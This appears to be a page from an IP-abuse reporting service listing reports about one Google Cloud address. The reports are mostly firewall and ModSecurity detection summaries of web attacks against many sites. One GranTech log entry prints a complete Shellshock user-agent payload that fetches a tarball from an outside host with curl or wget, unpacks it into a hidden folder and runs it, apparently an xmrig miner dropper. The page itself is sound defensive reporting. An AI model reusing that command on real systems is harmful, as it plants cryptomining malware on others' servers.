🇬🇧
gws-hostmaster
2026-11-07 04:39:00
UTC ·
(29 minutes ago)
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Com ...
show more
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Command Execution;Remote Command Execution: Java serialization (CVE-2015-4852);Remote Command Execution: Shellshock (CVE-2014-6271);Remote Command Execution: Unix Command Injection (2-3 chars);Remote Command Execution: Unix Shell Code Found;Remote Command Execution: Unix Shell Expression Found;Remote Command Execution: Windows Command Injection;Suspicious Java class detected;
show less
Web App Attack
🇩🇪
Phenix Info
2026-11-07 00:21:53
UTC ·
(4 hours ago)
SmallGuard Auto Ban - Attaque applicative web detectee - 5 blocages en 5 min.
Web App Attack
🇩🇪
Progetto1
2026-11-06 19:11:02
UTC ·
(9 hours ago)
Detected via HAProxyScanner at 2026-11-06 19:11:01 UTC on destination port WEB (80/443). Repeated scan / connection.
Port Scan
Hacking
Brute-Force
🇪🇸
elcruzado.es
2026-11-06 14:15:34
UTC ·
(14 hours ago)
(mod_security) mod_security triggered on hostname [redacted] 34.91.26.117 (NL/The Netherlands/117.26.91.34.bc.googleusercontent.com)
SQL Injection
🇸🇬
simpeg-adm.bandung.go.id
2026-11-06 14:10:51
UTC ·
(14 hours ago)
06/Nov/2026:14:10:48 +0000;34.91.26.117;"/?rest_route=/batch/v1"
06/Nov/2026:14:10:48 +0000;34.91.26.117;"/"
06/Nov/2026:14:10:49 +0000;34.91.26.117;"/foo.jsp"
06/Nov/2026:14:10:49 +0000;34.91.26.117;"/api/v1/code/blocks/exec/code"
06/Nov/2026:14:10: ...
show more
06/Nov/2026:14:10:48 +0000;34.91.26.117;"/?rest_route=/batch/v1"
06/Nov/2026:14:10:48 +0000;34.91.26.117;"/"
06/Nov/2026:14:10:49 +0000;34.91.26.117;"/foo.jsp"
06/Nov/2026:14:10:49 +0000;34.91.26.117;"/api/v1/code/blocks/exec/code"
06/Nov/2026:14:10:49 +0000;34.91.26.117;"/code/blocks/exec/code"
06/Nov/2026:14:10:50 +0000;34.91.26.117;"/api/v1/code/blocks/exec/start"
06/Nov/2026:14:10:50 +0000;34.91.26.117;"/code/blocks/exec/start"
...
show less
Web Spam
Brute-Force
Web App Attack
🇫🇷
security.rdmc.fr
2026-11-06 13:58:13
UTC ·
(15 hours ago)
Shellshock Attack
Web App Attack
Hacking
🇬🇧
gws-hostmaster
2026-11-06 12:10:31
UTC ·
(16 hours ago)
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;Method is not allowed by policy;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Co ...
show more
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;Method is not allowed by policy;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Command Execution;Remote Command Execution: Java serialization (CVE-2015-4852);Remote Command Execution: Shellshock (CVE-2014-6271);Remote Command Execution: Unix Command Injection (2-3 chars);Remote Command Execution: Unix Shell Code Found;Remote Command Execution: Unix Shell Expression Found;Remote Command Execution: Windows Command Injection;Request content type is not allowed by policy;Suspicious Java class detected;
show less
Web App Attack
🇬🇧
matbargob
2026-11-06 10:10:12
UTC ·
(18 hours ago)
CrowdSec custom/http-datacenter-abuse: 6 events 2026-11-06 10:10:12 - 10:10:15 UTC. Method: GET, POST. Paths: /, /foo.jsp, /api/v1/code/blocks/exec/code, /code/blocks/exec/code, /api/v1/code/blocks/exec/start, /code/blocks/exec/start. Status: 404. UA ...
show more
CrowdSec custom/http-datacenter-abuse: 6 events 2026-11-06 10:10:12 - 10:10:15 UTC. Method: GET, POST. Paths: /, /foo.jsp, /api/v1/code/blocks/exec/code, /code/blocks/exec/code, /api/v1/code/blocks/exec/start, /code/blocks/exec/start. Status: 404. UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Go-http-client/1.1, Mozilla/5.0
show less
Web App Attack
🇪🇸
Yoeph
2026-11-06 09:13:43
UTC ·
(19 hours ago)
Malicious probe on /foo.jsp (Permanently Banned) by TurnoControlPro Web Shield
Hacking
Bad Web Bot
Web App Attack
🇸🇬
drewf.ink
2026-11-06 03:51:13
UTC ·
(1 day ago)
[03:51] Sent a Command Injection payload (GET /) - matched: '$(cat $X)'
Web App Attack
🇺🇸
hyena
2026-11-06 02:45:44
UTC ·
(1 day ago)
Repeated mod_security events.
Web App Attack
🇬🇧
gws-hostmaster
2026-11-06 02:01:16
UTC ·
(1 day ago)
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Com ...
show more
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Command Execution;Remote Command Execution: Java serialization (CVE-2015-4852);Remote Command Execution: Shellshock (CVE-2014-6271);Remote Command Execution: Unix Command Injection (2-3 chars);Remote Command Execution: Unix Shell Code Found;Remote Command Execution: Unix Shell Expression Found;Remote Command Execution: Windows Command Injection;Suspicious Java class detected;
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-11-05 20:54:30
UTC ·
(1 day ago)
(mod_security) mod_security (id:221260) triggered by 34.91.26.117 (117.26.91.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 05 15:54:25.384708 2026] [security2:error] [pid 13319:tid 13 ...
show more
(mod_security) mod_security (id:221260) triggered by 34.91.26.117 (117.26.91.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 05 15:54:25.384708 2026] [security2:error] [pid 13319:tid 13319] [client 34.91.26.117:41946] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.cybersoftware.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.cybersoftware.org"] [uri "/"] [unique_id "auztAZdrAXzLlPd2s8cwdQAAAB0"], referer: https://104.248.98.155:443/
show less
Brute-Force
Bad Web Bot
Web App Attack
🇪🇸
GranTech
2026-11-05 19:55:37
UTC ·
(1 day ago)
34.91.26.117 - - [05/Nov/2026:19:55:37 +0000] "GET / HTTP/1.1" 200 17764 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || ...
show more
34.91.26.117 - - [05/Nov/2026:19:55:37 +0000] "GET / HTTP/1.1" 200 17764 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null || (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null || tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] || D=/tmp/.configrc6; chmod +x $D/initall 2>/dev/null; nohup $D/initall >/dev/null 2>&1)) >/dev/null 2>&1 & echo c_''3de4efa92459fb36"
...
show less
Web App Attack
🇺🇸
jfz-abuse
2026-11-05 15:07:29
UTC ·
(1 day ago)
fail2ban: apache-filepath-recon
...
Web App Attack
